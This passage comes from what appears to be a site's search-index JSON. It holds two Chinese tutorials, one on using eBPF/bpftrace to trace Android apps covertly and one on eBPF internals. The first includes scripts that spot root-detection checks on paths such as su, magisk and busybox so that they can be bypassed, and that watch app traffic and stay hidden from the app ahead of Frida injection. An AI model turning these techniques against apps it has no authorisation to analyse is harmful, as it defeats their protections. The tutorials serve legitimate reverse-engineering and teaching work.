str(arg0)); @dlopen_start[str(arg0)] = nsecs; } uretprobe:/apex/com.android.runtime/lib64/bionic/libdl.so:dlopen /comm == \"com.target.app\"/ { printf(\"[DLOPEN] Returned: %p\\n\", retval); } // 追踪 JNI_OnLoad uprobe:/data/app/com.target.app-*/lib/arm64/*.so:JNI_OnLoad /comm == \"com.target.app\"/ { printf(\"[JNI_OnLoad] %s\\n\", probe); @jni_onload = count(); } // 追踪 .init_array 执行 (constructor 函数) // 这需要知道具体函数地址，或使用通配符 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:4:2","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#追踪-native-库初始化"},{"categories":null,"collections":null,"content":"实战案例 4: 协议逆向分析 💡 思路一句话: 用 eBPF 在 socket 层拦截收发数据，配合 uprobe hook 应用层加解密函数，同时获取加密前明文和网络层密文，快速理解协议结构。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:5:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#实战案例-4-协议逆向分析"},{"categories":null,"collections":null,"content":"追踪自定义协议 #!/usr/bin/env bpftrace // 文件: protocol_analysis.bt // 分析应用自定义协议 // Socket 创建 tracepoint:syscalls:sys_enter_socket /comm == \"com.target.app\"/ { printf(\"[SOCKET] domain=%d type=%d protocol=%d\\n\", args-\u003efamily, args-\u003etype, args-\u003eprotocol); } // 数据发送 tracepoint:syscalls:sys_enter_sendto /comm == \"com.target.app\"/ { $buf = (uint8 *)args-\u003ebuff; $len = args-\u003elen; printf(\"\\n[SEND] len=%d\\n\", $len); // 打印协议头 (假设前16字节是头部) printf(\"Header: \"); $i = 0; while ($i \u003c 16 \u0026\u0026 $i \u003c $len) { printf(\"%02x \", $buf[$i]); $i++; } printf(\"\\n\"); // 分析魔数 $magic = ($buf[0] \u003c\u003c 24) | ($buf[1] \u003c\u003c 16) | ($buf[2] \u003c\u003c 8) | $buf[3]; printf(\"Magic: 0x%08x\\n\", $magic); @send_sizes = hist($len); } // 数据接收 tracepoint:syscalls:sys_exit_recvfrom /comm == \"com.target.app\" \u0026\u0026 args-\u003eret \u003e 0/ { printf(\"\\n[RECV] len=%d\\n\", args-\u003eret); @recv_sizes = hist(args-\u003eret); } END { printf(\"\\n=== 协议统计 ===\\n\"); printf(\"发送包大小分布:\\n\"); print(@send_sizes); printf(\"接收包大小分布:\\n\"); print(@recv_sizes); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:5:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#追踪自定义协议"},{"categories":null,"collections":null,"content":"追踪 Protobuf 序列化 #!/usr/bin/env bpftrace // 文件: protobuf_trace.bt // 追踪 Protobuf 编解码 // Google Protobuf 库函数 uprobe:/data/app/com.target.app-*/lib/arm64/lib*.so:*SerializeToString* /comm == \"com.target.app\"/ { printf(\"[PROTOBUF] SerializeToString\\n\"); @serialize = count(); } uprobe:/data/app/com.target.app-*/lib/arm64/lib*.so:*ParseFromString* /comm == \"com.target.app\"/ { printf(\"[PROTOBUF] ParseFromString\\n\"); @parse = count(); } // 追踪更底层的编码函数 uprobe:/data/app/com.target.app-*/lib/arm64/lib*.so:*WriteVarint* /comm == \"com.target.app\"/ { @varint_writes = count(); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:5:2","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#追踪-protobuf-序列化"},{"categories":null,"collections":null,"content":"实战案例 5: Root 检测分析 💡 思路一句话: 用 eBPF 监控应用的 open/access/stat 系统调用，观察它检测哪些路径（/system/xbin/su, /sbin/magisk 等），从而精准定位并绕过 root 检测。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:6:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#实战案例-5-root-检测分析"},{"categories":null,"collections":null,"content":"监控 Root 检测行为 #!/usr/bin/env bpftrace // 文件: root_detect.bt // 分析应用的 Root 检测机制 // 检测 su 二进制文件 tracepoint:syscalls:sys_enter_openat /comm == \"com.target.app\"/ { $f = str(args-\u003efilename); if (strcontains($f, \"/su\") || strcontains($f, \"supersu\") || strcontains($f, \"superuser\") || strcontains($f, \"magisk\") || strcontains($f, \"busybox\")) { printf(\"[ROOT-CHECK] Checking: %s\\n\", $f); @root_checks[$f] = count(); } } // 检测 stat/access 调用 tracepoint:syscalls:sys_enter_faccessat /comm == \"com.target.app\"/ { $f = str(args-\u003efilename); if (strcontains($f, \"/su\") || strcontains($f, \"/system/xbin/\") || strcontains($f, \"/system/bin/\")) { printf(\"[ROOT-CHECK] Access check: %s\\n\", $f); } } // 检测 which 命令 tracepoint:syscalls:sys_enter_execve /strcontains(str(args-\u003efilename), \"which\")/ { printf(\"[ROOT-CHECK] Exec: %s\\n\", str(args-\u003efilename)); } // 检测系统属性读取 uprobe:/system/lib64/libc.so:__system_property_get /comm == \"com.target.app\"/ { $name = str(arg0); if (strcontains($name, \"ro.build\") || strcontains($name, \"ro.debuggable\") || strcontains($name, \"ro.secure\")) { printf(\"[ROOT-CHECK] Property: %s\\n\", $name); @prop_checks[$name] = count(); } } END { printf(\"\\n=== Root 检测统计 ===\\n\"); printf(\"文件检查:\\n\"); print(@root_checks); printf(\"\\n属性检查:\\n\"); print(@prop_checks); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:6:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#监控-root-检测行为"},{"categories":null,"collections":null,"content":"性能分析工具 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:7:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#性能分析工具"},{"categories":null,"collections":null,"content":"热点函数分析 #!/usr/bin/env bpftrace // 文件: hotspot.bt // CPU 热点分析 profile:hz:99 /comm == \"com.target.app\"/ { @user_stacks[ustack(10)] = count(); @kernel_stacks[kstack(10)] = count(); } END { printf(\"\\n=== 用户态热点 (Top 5) ===\\n\"); print(@user_stacks, 5); printf(\"\\n=== 内核态热点 (Top 5) ===\\n\"); print(@kernel_stacks, 5); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:7:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#热点函数分析"},{"categories":null,"collections":null,"content":"锁竞争分析 #!/usr/bin/env bpftrace // 文件: lock_contention.bt uprobe:/apex/com.android.runtime/lib64/bionic/libc.so:pthread_mutex_lock /comm == \"com.target.app\"/ { @lock_start[tid, arg0] = nsecs; } uretprobe:/apex/com.android.runtime/lib64/bionic/libc.so:pthread_mutex_lock /comm == \"com.target.app\" \u0026\u0026 @lock_start[tid, arg0]/ { $wait = nsecs - @lock_start[tid, arg0]; @lock_wait = hist($wait); if ($wait \u003e 1000000) { // \u003e 1ms printf(\"[LOCK] tid=%d waited %d ns for mutex %p\\n\", tid, $wait, arg0); } delete(@lock_start[tid, arg0]); } END { printf(\"\\n=== 锁等待时间分布 (ns) ===\\n\"); print(@lock_wait); } ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:7:2","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#锁竞争分析"},{"categories":null,"collections":null,"content":"与 Frida 配合使用 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:8:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#与-frida-配合使用"},{"categories":null,"collections":null,"content":"场景: eBPF 监控 + Frida 修改 # 终端1: eBPF 监控 (不被检测) adb shell /data/local/tmp/bpftrace -e ' tracepoint:syscalls:sys_enter_openat /comm == \"com.target.app\"/ { printf(\"OPEN: %s\\n\", str(args-\u003efilename)); }' # 终端2: 等待检测通过后，使用 Frida 注入 # 可以利用 eBPF 的信息决定 Hook 点 frida -U -f com.target.app -l script.js ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:8:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#场景-ebpf-监控--frida-修改"},{"categories":null,"collections":null,"content":"使用 eBPF 辅助 Frida 分析 // Frida 脚本: 基于 eBPF 发现的地址进行 Hook // eBPF 可以发现动态加载的库地址 // 假设 eBPF 发现加密函数在 0x12345678 var encrypt_addr = ptr(\"0x12345678\"); Interceptor.attach(encrypt_addr, { onEnter: function(args) { console.log(\"Encrypt called\"); } }); ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:8:2","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#使用-ebpf-辅助-frida-分析"},{"categories":null,"collections":null,"content":"常见问题解决 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:9:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#常见问题解决"},{"categories":null,"collections":null,"content":"Q: bpftrace 找不到符号 # 检查符号表 adb shell readelf -s /system/lib64/libcrypto.so | grep EVP # 使用地址而非符号名 uprobe:/system/lib64/libcrypto.so:0x12345 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:9:1","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#q-bpftrace-找不到符号"},{"categories":null,"collections":null,"content":"Q: 追踪导致应用崩溃 # 减少追踪频率 interval:ms:100 # 而不是每次调用 # 避免追踪高频函数 # 使用 profile 采样而非 uprobe ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:9:2","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#q-追踪导致应用崩溃"},{"categories":null,"collections":null,"content":"Q: 内存限制 # 增加 map 大小 sudo sysctl kernel.perf_event_max_stack=127 sudo sysctl kernel.perf_event_max_contexts_per_stack=8 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:9:3","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#q-内存限制"},{"categories":null,"collections":null,"content":"总结 eBPF 在 Android 逆向中的核心优势: 隐蔽性: 内核态运行，无法被应用检测 全面性: 可追踪系统调用、网络、文件、内存等所有层面 高性能: JIT 编译，开销极低 安全性: 不影响目标应用稳定性 建议工作流: 先用 eBPF 隐蔽监控，了解应用行为 分析反调试机制 确定关键函数和地址 必要时配合 Frida 进行深入分析 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:10:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#总结"},{"categories":null,"collections":null,"content":"参考资料 eBPF 使用指南 eBPF 内部原理 eBPF 脚本集 ","date":"2025-12-27","objectID":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/:11:0","tags":["eBPF","Android","逆向工程","实战","隐蔽追踪"],"title":"eBPF Android 逆向实战","uri":"/reverse_engineering/android/01-recipes/analysis/ebpf_android_reversing/#参考资料"},{"categories":null,"collections":null,"content":"eBPF 内部原理 本文深入剖析 eBPF 的内部工作机制，帮助你理解这项技术的底层原理，从而更好地应用于 Android 逆向工程。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:0:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#ebpf-内部原理"},{"categories":null,"collections":null,"content":"架构概览 ┌─────────────────────────────────────────────────────────────┐ │ 用户空间 │ │ ┌─────────────┐ ┌──────────────┐ ┌─────────────────┐ │ │ │ bpftrace │ │ BCC/Python │ │ libbpf/C │ │ │ └──────┬──────┘ └──────┬───────┘ └────────┬────────┘ │ │ │ │ │ │ │ └────────────────┼────────────────────┘ │ │ │ bpf() 系统调用 │ ├──────────────────────────┼──────────────────────────────────┤ │ 内核空间 │ │ ▼ │ │ ┌───────────────────────────────────────────────────────┐ │ │ │ BPF 验证器 │ │ │ │ - 安全检查 - 边界验证 - 死循环检测 │ │ │ └───────────────────────────────────────────────────────┘ │ │ │ │ │ ▼ │ │ ┌───────────────────────────────────────────────────────┐ │ │ │ JIT 编译器 │ │ │ │ 将 BPF 字节码编译为原生机器码 │ │ │ └───────────────────────────────────────────────────────┘ │ │ │ │ │ ┌────────────────┼────────────────┐ │ │ ▼ ▼ ▼ │ │ ┌─────────┐ ┌─────────┐ ┌─────────────┐ │ │ │ kprobes │ │tracepoint│ │ socket/XDP │ │ │ └─────────┘ └─────────┘ └─────────────┘ │ │ │ │ ┌───────────────────────────────────────────────────────┐ │ │ │ BPF Maps │ │ │ │ 内核与用户空间共享的数据结构 │ │ │ └───────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:1:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#架构概览"},{"categories":null,"collections":null,"content":"BPF 虚拟机 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:2:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#bpf-虚拟机"},{"categories":null,"collections":null,"content":"寄存器模型 eBPF 使用 11 个 64 位寄存器: 寄存器 用途 R0 返回值，辅助函数返回值 R1-R5 函数参数 R6-R9 被调用者保存寄存器 R10 只读栈帧指针 // 寄存器使用示例 // R1 = ctx (上下文指针) // R0 = 返回值 int bpf_prog(struct pt_regs *ctx) { // R1 = ctx u64 pid = bpf_get_current_pid_tgid(); // 结果在 R0 return 0; // R0 = 0 } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:2:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#寄存器模型"},{"categories":null,"collections":null,"content":"指令集 eBPF 指令格式 (64 位): ┌───────┬───────┬───────┬───────────────┬───────────────────┐ │ 8 bit │ 4 bit │ 4 bit │ 16 bit │ 32 bit │ │ op │ dst │ src │ offset │ imm │ └───────┴───────┴───────┴───────────────┴───────────────────┘ 指令类别: // 算术指令 BPF_ADD | BPF_X | BPF_ALU64 // dst += src (64位) BPF_SUB | BPF_K | BPF_ALU // dst -= imm (32位) // 跳转指令 BPF_JEQ | BPF_K | BPF_JMP // if dst == imm goto pc+off BPF_JGT | BPF_X | BPF_JMP // if dst \u003e src goto pc+off // 内存访问 BPF_LDX | BPF_MEM | BPF_DW // dst = *(u64 *)(src + off) BPF_STX | BPF_MEM | BPF_W // *(u32 *)(dst + off) = src // 函数调用 BPF_CALL // 调用辅助函数 BPF_EXIT // 退出程序 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:2:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#指令集"},{"categories":null,"collections":null,"content":"示例程序字节码 // 简单的 eBPF 程序 int hello(void *ctx) { char msg[] = \"Hello\"; bpf_trace_printk(msg, sizeof(msg)); return 0; } // 编译后的字节码 (简化) /* 0: r1 = 0x6f6c6c6548 // \"Hello\" 低位 1: *(u64 *)(r10 - 8) = r1 // 存储到栈 2: r1 = r10 - 8 // msg 地址 3: r2 = 6 // sizeof(msg) 4: call bpf_trace_printk // 调用辅助函数 5: r0 = 0 // 返回值 6: exit // 退出 */ ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:2:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#示例程序字节码"},{"categories":null,"collections":null,"content":"验证器 (Verifier) 验证器是 eBPF 安全性的核心，确保程序不会破坏内核。 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:3:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#验证器-verifier"},{"categories":null,"collections":null,"content":"验证流程 ┌─────────────────────────────────────────────────────────────┐ │ BPF 验证器流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. CFG 检查 (Control Flow Graph) │ │ ├─ 检测不可达代码 │ │ ├─ 验证所有路径都有 exit │ │ └─ 检测循环 (默认禁止无界循环) │ │ │ │ 2. 模拟执行 │ │ ├─ 追踪每个寄存器状态 │ │ ├─ 验证内存访问边界 │ │ └─ 检查指针类型安全 │ │ │ │ 3. 辅助函数调用验证 │ │ ├─ 检查参数类型 │ │ ├─ 验证调用权限 │ │ └─ 追踪返回值类型 │ │ │ │ 4. Map 访问验证 │ │ ├─ 检查 Map 类型兼容性 │ │ ├─ 验证键/值大小 │ │ └─ 检查并发安全性 │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:3:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#验证流程"},{"categories":null,"collections":null,"content":"寄存器状态追踪 // 验证器追踪的寄存器状态 enum bpf_reg_type { NOT_INIT, // 未初始化 SCALAR_VALUE, // 标量值 PTR_TO_CTX, // 上下文指针 PTR_TO_MAP_VALUE, // Map 值指针 PTR_TO_STACK, // 栈指针 PTR_TO_PACKET, // 网络包指针 // ... }; // 验证示例 int bpf_prog(struct __sk_buff *skb) { // R1 = PTR_TO_CTX (skb) u8 *data = (void *)(long)skb-\u003edata; // data 类型: PTR_TO_PACKET u8 *end = (void *)(long)skb-\u003edata_end; // end 类型: PTR_TO_PACKET_END // 必须进行边界检查 if (data + 14 \u003e end) { return 0; // 验证器要求的边界检查 } // 现在可以安全访问 data[0..13] return data[0]; } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:3:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#寄存器状态追踪"},{"categories":null,"collections":null,"content":"常见验证错误 # 错误1: 无界循环 \"back-edge from insn X to Y\" # 错误2: 越界访问 \"invalid access to map value, off=X size=Y\" # 错误3: 未初始化寄存器 \"R3 !read_ok\" # 错误4: 指针泄露 \"cannot write pointer to map value\" # 错误5: 无效的辅助函数调用 \"unknown func bpf_xxx\" ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:3:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#常见验证错误"},{"categories":null,"collections":null,"content":"JIT 编译器 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:4:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#jit-编译器"},{"categories":null,"collections":null,"content":"编译流程 BPF 字节码 → JIT 编译器 → 原生机器码 │ │ │ │ │ ├─ x86_64 │ │ ├─ ARM64 │ │ ├─ ARM32 │ │ └─ ... ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:4:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#编译流程"},{"categories":null,"collections":null,"content":"ARM64 JIT 示例 // BPF 指令 BPF_ALU64 | BPF_ADD | BPF_X // R0 += R1 // 编译为 ARM64 ADD X0, X0, X1 // BPF 指令 BPF_JEQ | BPF_K | BPF_JMP // if R0 == 42 goto +5 // 编译为 ARM64 CMP X0, #42 B.EQ .+5*4 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:4:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#arm64-jit-示例"},{"categories":null,"collections":null,"content":"JIT 优化 // 常量折叠 r1 = 10 r2 = 20 r3 = r1 + r2 // 编译时计算为 30 // 死代码消除 if (false) { // 这段代码会被移除 } // 寄存器分配 // BPF 寄存器直接映射到物理寄存器 // R0-R9 → X0-X9 (ARM64) ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:4:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#jit-优化"},{"categories":null,"collections":null,"content":"BPF Maps ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:5:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#bpf-maps"},{"categories":null,"collections":null,"content":"Map 类型详解 // 1. 哈希表 - 任意键值对 BPF_MAP_TYPE_HASH // 用途: 存储 PID 到计数的映射 struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 10240); __type(key, u32); // PID __type(value, u64); // 计数 } pid_counts SEC(\".maps\"); // 2. 数组 - 快速索引访问 BPF_MAP_TYPE_ARRAY // 用途: 预分配的固定大小数组 struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 256); __type(key, u32); __type(value, struct stats); } syscall_stats SEC(\".maps\"); // 3. 性能缓冲区 - 高效事件传输 BPF_MAP_TYPE_PERF_EVENT_ARRAY // 用途: 向用户空间发送事件 struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(int)); __uint(value_size, sizeof(int)); } events SEC(\".maps\"); // 4. 栈追踪 - 存储调用栈 BPF_MAP_TYPE_STACK_TRACE // 用途: 捕获内核/用户态调用栈 // 5. LRU 哈希表 - 自动淘汰 BPF_MAP_TYPE_LRU_HASH // 用途: 有限空间下的缓存 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:5:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#map-类型详解"},{"categories":null,"collections":null,"content":"Map 操作 // 内核态操作 void *bpf_map_lookup_elem(map, key); long bpf_map_update_elem(map, key, value, flags); long bpf_map_delete_elem(map, key); // 用户态操作 (通过 bpf 系统调用) int bpf_map_lookup_elem(int fd, const void *key, void *value); int bpf_map_update_elem(int fd, const void *key, const void *value, __u64 flags); int bpf_map_delete_elem(int fd, const void *key); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:5:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#map-操作"},{"categories":null,"collections":null,"content":"Map 并发安全 // 原子操作 __sync_fetch_and_add(\u0026value, 1); // Per-CPU Map - 无锁并发 BPF_MAP_TYPE_PERCPU_HASH BPF_MAP_TYPE_PERCPU_ARRAY // 自旋锁 (较新内核) struct bpf_spin_lock lock; bpf_spin_lock(\u0026lock); // 临界区 bpf_spin_unlock(\u0026lock); ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:5:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#map-并发安全"},{"categories":null,"collections":null,"content":"程序类型深入 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:6:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#程序类型深入"},{"categories":null,"collections":null,"content":"Kprobe/Kretprobe // 在内核函数入口处触发 SEC(\"kprobe/do_sys_openat2\") int kprobe_openat(struct pt_regs *ctx) { // ctx 包含寄存器状态 // ARM64: x0-x7 = 参数 char *filename = (char *)PT_REGS_PARM2(ctx); return 0; } // 在内核函数返回时触发 SEC(\"kretprobe/do_sys_openat2\") int kretprobe_openat(struct pt_regs *ctx) { // PT_REGS_RC(ctx) = 返回值 int fd = PT_REGS_RC(ctx); return 0; } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:6:1","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#kprobekretprobe"},{"categories":null,"collections":null,"content":"Uprobe/Uretprobe // 在用户态函数入口处触发 SEC(\"uprobe/libc.so.6:malloc\") int uprobe_malloc(struct pt_regs *ctx) { size_t size = PT_REGS_PARM1(ctx); bpf_printk(\"malloc(%zu)\\n\", size); return 0; } // 在用户态函数返回时触发 SEC(\"uretprobe/libc.so.6:malloc\") int uretprobe_malloc(struct pt_regs *ctx) { void *ptr = (void *)PT_REGS_RC(ctx); bpf_printk(\"malloc returned %p\\n\", ptr); return 0; } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:6:2","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#uprobeuretprobe"},{"categories":null,"collections":null,"content":"Tracepoint // 内核静态追踪点 - 稳定的 ABI SEC(\"tracepoint/syscalls/sys_enter_openat\") int trace_openat(struct trace_event_raw_sys_enter *ctx) { // 参数通过 args 访问 char *filename = (char *)ctx-\u003eargs[1]; int flags = ctx-\u003eargs[2]; return 0; } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:6:3","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#tracepoint"},{"categories":null,"collections":null,"content":"Socket/XDP // Socket 过滤器 SEC(\"socket\") int socket_filter(struct __sk_buff *skb) { // 返回 0 = 丢弃, 返回正数 = 接受 return skb-\u003elen; } // XDP - 高性能网络处理 SEC(\"xdp\") int xdp_filter(struct xdp_md *ctx) { void *data = (void *)(long)ctx-\u003edata; void *data_end = (void *)(long)ctx-\u003edata_end; struct ethhdr *eth = data; if ((void *)(eth + 1) \u003e data_end) return XDP_DROP; return XDP_PASS; } ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:6:4","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#socketxdp"},{"categories":null,"collections":null,"content":"辅助函数 ","date":"2025-12-27","objectID":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/:7:0","tags":["eBPF","内核","虚拟机","JIT","验证器"],"title":"eBPF 内部原理","uri":"/reverse_engineering/android/02-tools/dynamic/ebpf_internals/#辅助函数"},{"categories":null,"collections":null,"content":"内存访问 // 安全读取内核内存 long bpf_probe_read(void *dst, u32 size, const void *src); // 安全读取用户内存 long bpf_probe_read_user(void *dst, u32 size, const void *src); // 安全读取字符串 long bpf_probe_read_str(void *dst, u32 size, const void *src); long bpf_probe_read_user_str(void *dst, u32 size, const void *src); 